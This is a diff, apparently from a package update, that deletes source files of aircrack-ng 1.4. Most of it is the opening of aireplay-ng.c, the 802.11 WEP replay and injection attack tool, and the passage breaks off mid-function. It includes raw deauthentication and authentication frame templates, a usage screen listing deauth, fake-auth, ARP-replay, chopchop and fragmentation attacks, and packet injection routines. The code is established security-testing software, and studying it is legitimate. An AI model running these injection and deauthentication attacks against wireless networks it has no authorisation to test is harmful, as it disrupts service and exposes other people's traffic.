-static BOOLEAN initialize_linked_list(void);
-static BOOLEAN add_node_if_not_complete(void);
-static void set_node_complete(void);
-static void remove_last_uncomplete_node(void);
-// static struct packet_elt * getPacketNr(int position);
-// static char * iv2string(unsigned char * iv);
-// static char * icv2string(unsigned char * icv);
-// static void print_packet(struct packet_elt * packet);
-static void reset_current_packet_pointer(void);
-static BOOLEAN reset_current_packet_pointer_to_ap_packet(void);
-static BOOLEAN reset_current_packet_pointer_to_client_packet(void);
-static BOOLEAN next_packet_pointer(void);
-static BOOLEAN next_packet_pointer_from_ap(void);
-static BOOLEAN next_packet_pointer_from_client(void);
-// static BOOLEAN prev_packet_pointer(void);
-static int compare_SN_to_current_packet(struct packet_elt * packet);
-static BOOLEAN
-current_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
-// static BOOLEAN prev_packet_pointer_same_fromToDS_and_source(struct packet_elt
-// * packet);
-static BOOLEAN
-next_packet_pointer_same_fromToDS_and_source(struct packet_elt * packet);
-// static BOOLEAN prev_packet_pointer_same_fromToDS_and_source_as_current(void);
-static BOOLEAN next_packet_pointer_same_fromToDS_and_source_as_current(void);
-static BOOLEAN write_packets(void);
-static BOOLEAN print_statistics(void);
-static char * status_format(int status);
-static int get_average_signal_ap(void);
-
-// Check for cloaking functions
-static BOOLEAN check_for_cloaking(void); // Main cloaking check function
-#define CFC_base_filter()                                                      \
-	CFC_with_valid_packets_mark_others_with_identical_sn_cloaked()
-static int CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(void);
-static int CFC_mark_all_frames_with_status_to(int original_status,
-											  int new_status);
-static int CFC_filter_signal(void);
-static int CFC_filter_duplicate_sn_ap(void);
-static int CFC_filter_duplicate_sn_client(void);
-static int CFC_filter_duplicate_sn(void);
-static int CFC_filter_consecutive_sn(void);
-static int CFC_filter_consecutive_sn_ap(void);
-static int CFC_filter_consecutive_sn_client(void);
-static int CFC_filter_duplicate_iv(void);
-static int CFC_filter_signal_duplicate_and_consecutive_sn(void);
-
-/*
-const char usage[] =
-"\n"
-"  %s - (C) 2008 Thomas d\'Otreppe\n"
-"  https://www.aircrack-ng.org\n"
-"\n"
-"  usage: airundefense-ng <filename> <BSSID>\n"
-"\n";
-*/
-
-#endif

aircrack-ng-1.4.tar.gz/src/aireplay-ng.c Deleted

@@ -1,7801 +0,0 @@
-/*
- *  802.11 WEP replay & injection attacks
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2004, 2005 Christophe Devine
- *
- *  WEP decryption attack (chopchop) developed by KoreK
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#if defined(linux)
-#include <linux/rtc.h>
-#endif
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <unistd.h>
-#include <dirent.h>
-#include <signal.h>
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <errno.h>
-#include <time.h>
-#include <getopt.h>
-#include <assert.h>
-
-#include <fcntl.h>
-#include <ctype.h>
-
-#include <limits.h>
-
-#include <netinet/in_systm.h>
-#include <netinet/ip.h>
-#include <netinet/tcp.h>
-
-#include "version.h"
-#include "pcap.h"
-#include "aircrack-osdep/osdep.h"
-#include "crypto.h"
-#include "aircrack-util/common.h"
-#include "aircrack-util/verifyssid.h"
-#include "aircrack-util/console.h"
-
-#define RTC_RESOLUTION 8192
-
-#define REQUESTS 30
-#define MAX_APS 50
-
-#define NEW_IV 1
-#define RETRY 2
-#define ABORT 3
-
-#define DEAUTH_REQ                                                             \
-	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
-
-#define AUTH_REQ                                                               \
-	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
-
-#define ASSOC_REQ                                                              \
-	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
-
-#define REASSOC_REQ                                                            \
-	"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
-
-#define NULL_DATA                                                              \
-	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
-
-#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
-
-#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
-
-#define PROBE_REQ                                                              \
-	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-#define RATE_NUM 12
-
-#define RATE_1M 1000000
-#define RATE_2M 2000000
-#define RATE_5_5M 5500000
-#define RATE_11M 11000000
-
-#define RATE_6M 6000000
-#define RATE_9M 9000000
-#define RATE_12M 12000000
-#define RATE_18M 18000000
-#define RATE_24M 24000000
-#define RATE_36M 36000000
-#define RATE_48M 48000000
-#define RATE_54M 54000000
-
-int bitrates[RATE_NUM] = {RATE_1M,
-						  RATE_2M,
-						  RATE_5_5M,
-						  RATE_6M,
-						  RATE_9M,
-						  RATE_11M,
-						  RATE_12M,
-						  RATE_18M,
-						  RATE_24M,
-						  RATE_36M,
-						  RATE_48M,
-						  RATE_54M};
-
-char usage[] =
-
-	"\n"
-	"  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
-	"  https://www.aircrack-ng.org\n"
-	"\n"
-	"  usage: aireplay-ng <options> <replay interface>\n"
-	"\n"
-	"  Filter options:\n"
-	"\n"
-	"      -b bssid  : MAC address, Access Point\n"
-	"      -d dmac   : MAC address, Destination\n"
-	"      -s smac   : MAC address, Source\n"
-	"      -m len    : minimum packet length\n"
-	"      -n len    : maximum packet length\n"
-	"      -u type   : frame control, type    field\n"
-	"      -v subt   : frame control, subtype field\n"
-	"      -t tods   : frame control, To      DS bit\n"
-	"      -f fromds : frame control, From    DS bit\n"
-	"      -w iswep  : frame control, WEP     bit\n"
-	"      -D        : disable AP detection\n"
-	"\n"
-	"  Replay options:\n"
-	"\n"
-	"      -x nbpps  : number of packets per second\n"
-	"      -p fctrl  : set frame control word (hex)\n"
-	"      -a bssid  : set Access Point MAC address\n"
-	"      -c dmac   : set Destination  MAC address\n"
-	"      -h smac   : set Source       MAC address\n"
-	"      -g value  : change ring buffer size (default: 8)\n"
-	"      -F        : choose first matching packet\n"
-	"\n"
-	"      Fakeauth attack options:\n"
-	"\n"
-	"      -e essid  : set target AP SSID\n"
-	"      -o npckts : number of packets per burst (0=auto, default: 1)\n"
-	"      -q sec    : seconds between keep-alives\n"
-	"      -Q        : send reassociation requests\n"
-	"      -y prga   : keystream for shared key auth\n"
-	"      -T n      : exit after retry fake auth request n time\n"
-	"\n"
-	"      Arp Replay attack options:\n"
-	"\n"
-	"      -j        : inject FromDS packets\n"
-	"\n"
-	"      Fragmentation attack options:\n"
-	"\n"
-	"      -k IP     : set destination IP in fragments\n"
-	"      -l IP     : set source IP in fragments\n"
-	"\n"
-	"      Test attack options:\n"
-	"\n"
-	"      -B        : activates the bitrate test\n"
-	"\n"
-	/*
-"  WIDS evasion options:\n"
-"      -y value  : Use packets older than n packets\n"
-"      -z        : Ghosting\n"
-"\n"
-*/
-	"  Source options:\n"
-	"\n"
-	"      -i iface  : capture packets from this interface\n"
-	"      -r file   : extract packets from this pcap file\n"
-	"\n"
-	"  Miscellaneous options:\n"
-	"\n"
-	"      -R                    : disable /dev/rtc usage\n"
-	"      --ignore-negative-one : if the interface's channel can't be "
-	"determined,\n"
-	"                              ignore the mismatch, needed for unpatched "
-	"cfg80211\n"
-	"      --deauth-rc rc        : Deauthentication reason code [0-254] "
-	"(Default: 7)\n"
-	"\n"
-	"  Attack modes (numbers can still be used):\n"
-	"\n"
-	"      --deauth      count : deauthenticate 1 or all stations (-0)\n"
-	"      --fakeauth    delay : fake authentication with AP (-1)\n"
-	"      --interactive       : interactive frame selection (-2)\n"
-	"      --arpreplay         : standard ARP-request replay (-3)\n"
-	"      --chopchop          : decrypt/chopchop WEP packet (-4)\n"
-	"      --fragment          : generates valid keystream   (-5)\n"
-	"      --caffe-latte       : query a client for new IVs  (-6)\n"
-	"      --cfrag             : fragments against a client  (-7)\n"
-	"      --migmode           : attacks WPA migration mode  (-8)\n"
-	"      --test              : tests injection and quality (-9)\n"
-	"\n"
-	"      --help              : Displays this usage screen\n"
-	"\n";
-
-struct options
-{
-	unsigned char f_bssid[6];
-	unsigned char f_dmac[6];
-	unsigned char f_smac[6];
-	int f_minlen;
-	int f_maxlen;
-	int f_type;
-	int f_subtype;
-	int f_tods;
-	int f_fromds;
-	int f_iswep;
-
-	unsigned char deauth_rc;
-	int r_nbpps;
-	int r_fctrl;
-	unsigned char r_bssid[6];
-	unsigned char r_dmac[6];
-	unsigned char r_smac[6];
-	unsigned char r_dip[4];
-	unsigned char r_sip[4];
-	char r_essid[33];
-	int r_fromdsinj;
-	char r_smac_set;
-
-	char ip_out[16]; // 16 for 15 chars + \x00
-	char ip_in[16];
-	int port_out;
-	int port_in;
-
-	char * iface_out;
-	char * s_face;
-	char * s_file;
-	unsigned char * prga;
-
-	int a_mode;
-	int a_count;
-	int a_delay;
-	int f_retry;
-
-	int ringbuffer;
-	int ghost;
-	int prgalen;
-
-	int delay;
-	int npackets;
-
-	int fast;
-	int bittest;
-
-	int nodetect;
-	int ignore_negative_one;
-	int rtc;
-
-	int reassoc;
-} opt;
-
-struct devices
-{
-	int fd_in, arptype_in;
-	int fd_out, arptype_out;
-	int fd_rtc;
-
-	unsigned char mac_in[6];
-	unsigned char mac_out[6];
-
-	int is_wlanng;
-	int is_hostap;
-	int is_madwifi;
-	int is_madwifing;
-	int is_bcm43xx;
-
-	FILE * f_cap_in;
-
-	struct pcap_file_header pfh_in;
-} dev;
-
-static struct wif *_wi_in, *_wi_out;
-
-struct ARP_req
-{
-	unsigned char * buf;
-	int hdrlen;
-	int len;
-};
-
-struct APt
-{
-	unsigned char set;
-	unsigned char found;
-	unsigned char len;
-	unsigned char essid[255];
-	unsigned char bssid[6];
-	unsigned char chan;
-	unsigned int ping[REQUESTS];
-	int pwr[REQUESTS];
-};
-
-struct APt ap[MAX_APS];
-
-unsigned long nb_pkt_sent;
-unsigned char h80211[4096];
-unsigned char tmpbuf[4096];
-unsigned char srcbuf[4096];
-char strbuf[512];
-
-unsigned char ska_auth1[]
-	= "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-	  "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00";
-
-unsigned char ska_auth3[4096]
-	= "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
-	  "\x00\x00\x00\x00\x00\x00\xc0\x01";
-
-int ctrl_c, alarmed;
-
-char * iwpriv;
-
-static void sighandler(int signum)
-{
-	if (signum == SIGINT) ctrl_c++;
-
-	if (signum == SIGALRM) alarmed++;
-}
-
-#ifdef XDEBUG
-static int reset_ifaces(void)
-{
-	// close interfaces
-	if (_wi_in != _wi_out)
-	{
-		if (_wi_in)
-		{
-			wi_close(_wi_in);
-			_wi_in = NULL;
-		}
-		if (_wi_out)
-		{
-			wi_close(_wi_out);
-			_wi_out = NULL;
-		}
-	}
-	else
-	{
-		if (_wi_out)
-		{
-			wi_close(_wi_out);
-			_wi_out = NULL;
-			_wi_in = NULL;
-		}
-	}
-
-	/* open the replay interface */
-	_wi_out = wi_open(opt.iface_out);
-	if (!_wi_out) return 1;
-	dev.fd_out = wi_fd(_wi_out);
-
-	/* open the packet source */
-	if (opt.s_face != NULL)
-	{
-		_wi_in = wi_open(opt.s_face);
-		if (!_wi_in) return 1;
-		dev.fd_in = wi_fd(_wi_in);
-		wi_get_mac(_wi_in, dev.mac_in);
-	}
-	else
-	{
-		_wi_in = _wi_out;
-		dev.fd_in = dev.fd_out;
-
-		/* XXX */
-		dev.arptype_in = dev.arptype_out;
-		wi_get_mac(_wi_in, dev.mac_in);
-	}
-
-	wi_get_mac(_wi_out, dev.mac_out);
-
-	return 0;
-}
-#endif
-
-static int set_bitrate(struct wif * wi, int rate)
-{
-	int i, newrate;
-
-	if (wi_set_rate(wi, rate)) return 1;
-
-	//    if( reset_ifaces() )
-	//        return 1;
-
-	// Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M
-	// instead
-	if (rate == 5500000 && wi_get_rate(wi) != 5500000)
-	{
-		if (wi_set_rate(wi, 5000000)) return 1;
-	}
-
-	newrate = wi_get_rate(wi);
-	for (i = 0; i < RATE_NUM; i++)
-	{
-		if (bitrates[i] == rate) break;
-	}
-	if (i == RATE_NUM) i = -1;
-	if (newrate != rate)
-	{
-		if (i != -1)
-		{
-			if (i > 0)
-			{
-				if (bitrates[i - 1] >= newrate)
-				{
-					printf(
-						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
-						(rate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						 (0.0f + 1000000)),
-#else
-						 1000000.0),
-#endif
-						(wi_get_rate(wi) /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						 (0.0f + 1000000)
-#else
-						 1000000.0
-#endif
-							 ));
-					return 1;
-				}
-			}
-			if (i < RATE_NUM - 1)
-			{
-				if (bitrates[i + 1] <= newrate)
-				{
-					printf(
-						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
-						(rate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						 (0.0f + 1000000)),
-#else
-						 1000000.0),
-#endif
-						(wi_get_rate(wi) /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-						 (0.0f + 1000000)));
-#else
-						 1000000.0));
-#endif
-					return 1;
-				}
-			}
-			return 0;
-		}
-		printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
-			   (rate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-				(0.0f + 1000000)),
-#else
-				1000000.0),
-#endif
-			   (wi_get_rate(wi) /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-				(0.0f + 1000000)));
-#else
-				1000000.0));
-#endif
-
-		return 1;
-	}
-	return 0;
-}
-
-static int send_packet(void * buf, size_t count)
-{
-	struct wif * wi = _wi_out; /* XXX globals suck */
-	unsigned char * pkt = (unsigned char *) buf;
-
-	if ((count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
-	{
-		pkt[22] = (nb_pkt_sent & 0x0000000F) << 4;
-		pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4;
-	}
-
-	if (wi_write(wi, buf, count, NULL) == -1)
-	{
-		switch (errno)
-		{
-			case EAGAIN:
-			case ENOBUFS:
-				usleep(10000);
-				return 0; /* XXX not sure I like this... -sorbo */
-		}
-
-		perror("wi_write()");
-		return -1;
-	}
-
-	nb_pkt_sent++;
-	return 0;
-}
-
-static int read_packet(void * buf, size_t count, struct rx_info * ri)
-{
-	struct wif * wi = _wi_in; /* XXX */
-	int rc;
-
-	rc = wi_read(wi, buf, count, ri);
-	if (rc == -1)
-	{
-		switch (errno)
-		{
-			case EAGAIN:
-				return 0;
-		}
-
-		perror("wi_read()");
-		return -1;
-	}
-
-	return rc;
-}
-
-static void read_sleep(unsigned long usec)
-{
-	struct timeval tv, tv2, tv3;
-	int caplen;
-	fd_set rfds;
-
-	gettimeofday(&tv, NULL);
-	gettimeofday(&tv2, NULL);
-
-	tv3.tv_sec = 0;
-	tv3.tv_usec = 10000;
-
-	while (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
-			+ (tv2.tv_usec - tv.tv_usec))
-		   < (usec))
-	{
-		FD_ZERO(&rfds);
-		FD_SET(dev.fd_in, &rfds);
-
-		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv3) < 0)
-		{
-			continue;
-		}
-
-		if (FD_ISSET(dev.fd_in, &rfds))
-			caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-		gettimeofday(&tv2, NULL);
-	}
-}
-
-static int filter_packet(unsigned char * h80211, int caplen)
-{
-	int z, mi_b, mi_s, mi_d, ext = 0, qos;
-
-	if (caplen <= 0) return (1);
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if ((h80211[0] & 0x80) == 0x80)
-	{
-		qos = 1; /* 802.11e QoS */
-		z += 2;
-	}
-
-	if ((h80211[0] & 0x0C) == 0x08) // if data packet
-		ext = z - 24; // how many bytes longer than default ieee80211 header
-
-	/* check length */
-	if (caplen - ext < opt.f_minlen || caplen - ext > opt.f_maxlen) return (1);
-
-	/* check the frame control bytes */
-
-	if ((h80211[0] & 0x0C) != (opt.f_type << 2) && opt.f_type >= 0) return (1);
-
-	if ((h80211[0] & 0x70) != ((opt.f_subtype << 4) & 0x70)
-		&& // ignore the leading bit (QoS)
-		opt.f_subtype >= 0)
-		return (1);
-
-	if ((h80211[1] & 0x01) != (opt.f_tods) && opt.f_tods >= 0) return (1);
-
-	if ((h80211[1] & 0x02) != (opt.f_fromds << 1) && opt.f_fromds >= 0)
-		return (1);
-
-	if ((h80211[1] & 0x40) != (opt.f_iswep << 6) && opt.f_iswep >= 0)
-		return (1);
-
-	/* check the extended IV (TKIP) flag */
-
-	if (opt.f_type == 2 && opt.f_iswep == 1 && (h80211[z + 3] & 0x20) != 0)
-		return (1);
-
-	/* MAC address checking */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-			mi_b = 16;
-			mi_s = 10;
-			mi_d = 4;
-			break;
-		case 1:
-			mi_b = 4;
-			mi_s = 10;
-			mi_d = 16;
-			break;
-		case 2:
-			mi_b = 10;
-			mi_s = 16;
-			mi_d = 4;
-			break;
-		default:
-			mi_b = 10;
-			mi_d = 16;
-			mi_s = 24;
-			break;
-	}
-
-	if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
-		if (memcmp(h80211 + mi_b, opt.f_bssid, 6) != 0) return (1);
-
-	if (memcmp(opt.f_smac, NULL_MAC, 6) != 0)
-		if (memcmp(h80211 + mi_s, opt.f_smac, 6) != 0) return (1);
-
-	if (memcmp(opt.f_dmac, NULL_MAC, 6) != 0)
-		if (memcmp(h80211 + mi_d, opt.f_dmac, 6) != 0) return (1);
-
-	/* this one looks good */
-
-	return (0);
-}
-
-static int
-wait_for_beacon(unsigned char * bssid, unsigned char * capa, char * essid)
-{
-	int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
-	unsigned char pkt_sniff[4096];
-	struct timeval tv, tv2;
-	char essid2[33];
-
-	gettimeofday(&tv, NULL);
-	while (1)
-	{
-		len = 0;
-		while (len < 22)
-		{
-			len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);
-
-			gettimeofday(&tv2, NULL);
-			if (((tv2.tv_sec - tv.tv_sec) * 1000000UL)
-					+ (tv2.tv_usec - tv.tv_usec)
-				> 10000 * 1000) // wait 10sec for beacon frame
-			{
-				return -1;
-			}
-			if (len <= 0) usleep(1);
-		}
-		if (!memcmp(pkt_sniff, "\x80", 1))
-		{
-			pos = 0;
-			taglen = 22; // initial value to get the fixed tags parsing started
-			taglen += 12; // skip fixed tags in frames
-			do
-			{
-				pos += taglen + 2;
-				tagtype = pkt_sniff[pos];
-				taglen = pkt_sniff[pos + 1];
-			} while (tagtype != 3 && pos < len - 2);
-
-			if (tagtype != 3) continue;
-			if (taglen != 1) continue;
-			if (pos + 2 + taglen > len) continue;
-
-			chan = pkt_sniff[pos + 2];
-
-			if (essid)
-			{
-				pos = 0;
-				taglen
-					= 22; // initial value to get the fixed tags parsing started
-				taglen += 12; // skip fixed tags in frames
-				do
-				{
-					pos += taglen + 2;
-					tagtype = pkt_sniff[pos];
-					taglen = pkt_sniff[pos + 1];
-				} while (tagtype != 0 && pos < len - 2);
-
-				if (tagtype != 0) continue;
-				if (taglen <= 1)
-				{
-					if (memcmp(bssid, pkt_sniff + 10, 6) == 0)
-						break;
-					else
-						continue;
-				}
-				if (pos + 2 + taglen > len) continue;
-
-				if (taglen > 32) taglen = 32;
-
-				if ((pkt_sniff + pos + 2)[0] < 32
-					&& memcmp(bssid, pkt_sniff + 10, 6) == 0)
-				{
-					break;
-				}
-
-				/* if bssid is given, copy essid */
-				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
-					&& strlen(essid) == 0)
-				{
-					memset(essid, 0, 33);
-					memcpy(essid, pkt_sniff + pos + 2, taglen);
-					break;
-				}
-
-				/* if essid is given, copy bssid AND essid, so we can handle
-				 * case insensitive arguments */
-				if (bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0
-					&& strncasecmp(essid, (char *) pkt_sniff + pos + 2, taglen)
-						   == 0
-					&& strlen(essid) == (unsigned) taglen)
-				{
-					memset(essid, 0, 33);
-					memcpy(essid, pkt_sniff + pos + 2, taglen);
-					memcpy(bssid, pkt_sniff + 10, 6);
-					printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
-						   "given ESSID \"%s\".\n",
-						   bssid[0],
-						   bssid[1],
-						   bssid[2],
-						   bssid[3],
-						   bssid[4],
-						   bssid[5],
-						   essid);
-					break;
-				}
-
-				/* if essid and bssid are given, check both */
-				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
-					&& strlen(essid) > 0)
-				{
-					memset(essid2, 0, 33);
-					memcpy(essid2, pkt_sniff + pos + 2, taglen);
-					if (strncasecmp(essid, essid2, taglen) == 0
-						&& strlen(essid) == (unsigned) taglen)
-						break;
-					else
-					{
-						printf("For the given BSSID "
-							   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
-							   "ESSID mismatch!\n",
-							   bssid[0],
-							   bssid[1],
-							   bssid[2],
-							   bssid[3],
-							   bssid[4],
-							   bssid[5]);
-						printf(
-							"Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
-							essid2,
-							essid);
-						printf("Using the given one, double check it to be "
-							   "sure its correct!\n");
-						break;
-					}
-				}
-			}
-		}
-	}
-
-	if (capa) memcpy(capa, pkt_sniff + 34, 2);
-
-	return chan;
-}
-
-/**
-	if bssid != NULL its looking for a beacon frame
-*/
-static int attack_check(unsigned char * bssid,
-						char * essid,
-						unsigned char * capa,
-						struct wif * wi)
-{
-	int ap_chan = 0, iface_chan = 0;
-
-	iface_chan = wi_get_channel(wi);
-
-	if (iface_chan == -1 && !opt.ignore_negative_one)
-	{
-		PCT;
-		printf("Couldn't determine current channel for %s, you should either "
-			   "force the operation with --ignore-negative-one or apply a "
-			   "kernel patch\n",
-			   wi_get_ifname(wi));
-		return -1;
-	}
-
-	if (bssid != NULL)
-	{
-		ap_chan = wait_for_beacon(bssid, capa, essid);
-		if (ap_chan < 0)
-		{
-			PCT;
-			printf("No such BSSID available.\n");
-			return -1;
-		}
-		if ((ap_chan != iface_chan)
-			&& (iface_chan != -1 || !opt.ignore_negative_one))
-		{
-			PCT;
-			printf("%s is on channel %d, but the AP uses channel %d\n",
-				   wi_get_ifname(wi),
-				   iface_chan,
-				   ap_chan);
-			return -1;
-		}
-	}
-
-	return 0;
-}
-
-static int getnet(unsigned char * capa, int filter, int force)
-{
-	unsigned char * bssid;
-
-	if (opt.nodetect) return 0;
-
-	if (filter)
-		bssid = opt.f_bssid;
-	else
-		bssid = opt.r_bssid;
-
-	if (memcmp(bssid, NULL_MAC, 6))
-	{
-		PCT;
-		printf("Waiting for beacon frame (BSSID: "
-			   "%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
-			   bssid[0],
-			   bssid[1],
-			   bssid[2],
-			   bssid[3],
-			   bssid[4],
-			   bssid[5],
-			   wi_get_channel(_wi_in));
-	}
-	else if (strlen(opt.r_essid) > 0)
-	{
-		PCT;
-		printf("Waiting for beacon frame (ESSID: %s) on channel %d\n",
-			   opt.r_essid,
-			   wi_get_channel(_wi_in));
-	}
-	else if (force)
-	{
-		PCT;
-		if (filter)
-		{
-			printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
-		}
-		else
-		{
-			printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
-		}
-		return (1);
-	}
-	else
-		return 0;
-
-	if (attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
-	{
-		if (memcmp(bssid, NULL_MAC, 6))
-		{
-			if (verifyssid((const unsigned char *) opt.r_essid) == 0)
-			{
-				printf("Please specify an ESSID (-e).\n");
-			}
-		}
-
-		if (!memcmp(bssid, NULL_MAC, 6))
-		{
-			if (strlen(opt.r_essid) > 0)
-			{
-				printf("Please specify a BSSID (-a).\n");
-			}
-		}
-		return (1);
-	}
-
-	return 0;
-}
-
-static int
-xor_keystream(unsigned char * ph80211, unsigned char * keystream, int len)
-{
-	int i = 0;
-
-	if (len <= 0 || len >= INT_MAX) return 0;
-
-	for (i = 0; i < len; i++)
-	{
-		ph80211[i] = ph80211[i] ^ keystream[i];
-	}
-
-	return 0;
-}
-
-static int capture_ask_packet(int * caplen, int just_grab)
-{
-	time_t tr;
-	struct timeval tv;
-	struct tm * lt;
-
-	fd_set rfds;
-	long nb_pkt_read;
-	int i, j, n, mi_b = 0, mi_s = 0, mi_d = 0, mi_t = 0, mi_r = 0, is_wds = 0,
-				 key_index_offset;
-	int ret, z;
-
-	FILE * f_cap_out;
-	struct pcap_file_header pfh_out;
-	struct pcap_pkthdr pkh;
-
-	if (opt.f_minlen < 0) opt.f_minlen = 40;
-	if (opt.f_maxlen < 0) opt.f_maxlen = 1500;
-	if (opt.f_type < 0) opt.f_type = 2;
-	if (opt.f_subtype < 0) opt.f_subtype = 0;
-	if (opt.f_iswep < 0) opt.f_iswep = 1;
-
-	tr = time(NULL);
-
-	nb_pkt_read = 0;
-
-	signal(SIGINT, SIG_DFL);
-
-	while (1)
-	{
-		if (time(NULL) - tr > 0)
-		{
-			tr = time(NULL);
-			printf("\rRead %ld packets...\r", nb_pkt_read);
-			fflush(stdout);
-		}
-
-		if (opt.s_file == NULL)
-		{
-			FD_ZERO(&rfds);
-			FD_SET(dev.fd_in, &rfds);
-
-			tv.tv_sec = 1;
-			tv.tv_usec = 0;
-
-			if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
-			{
-				if (errno == EINTR) continue;
-				perror("select failed");
-				return (1);
-			}
-
-			if (!FD_ISSET(dev.fd_in, &rfds)) continue;
-
-			gettimeofday(&tv, NULL);
-
-			*caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-			if (*caplen < 0) return (1);
-			if (*caplen == 0) continue;
-		}
-		else
-		{
-			/* there are no hidden backdoors in this source code */
-
-			n = sizeof(pkh);
-
-			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
-			{
-				printf("\r");
-				erase_line(0);
-				printf("End of file.\n");
-				return (1);
-			}
-
-			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			tv.tv_sec = pkh.tv_sec;
-			tv.tv_usec = pkh.tv_usec;
-
-			n = *caplen = pkh.caplen;
-
-			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
-			{
-				printf("\r");
-				erase_line(0);
-				printf("Invalid packet length %d.\n", n);
-				return (1);
-			}
-
-			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
-			{
-				printf("\r");
-				erase_line(0);
-				printf("End of file.\n");
-				return (1);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				/* remove the prism header */
-
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-					n = *(int *) (h80211 + 4);
-
-				if (n < 8 || n >= (int) *caplen) continue;
-
-				memcpy(tmpbuf, h80211, *caplen);
-				*caplen -= n;
-				memcpy(h80211, tmpbuf + n, *caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
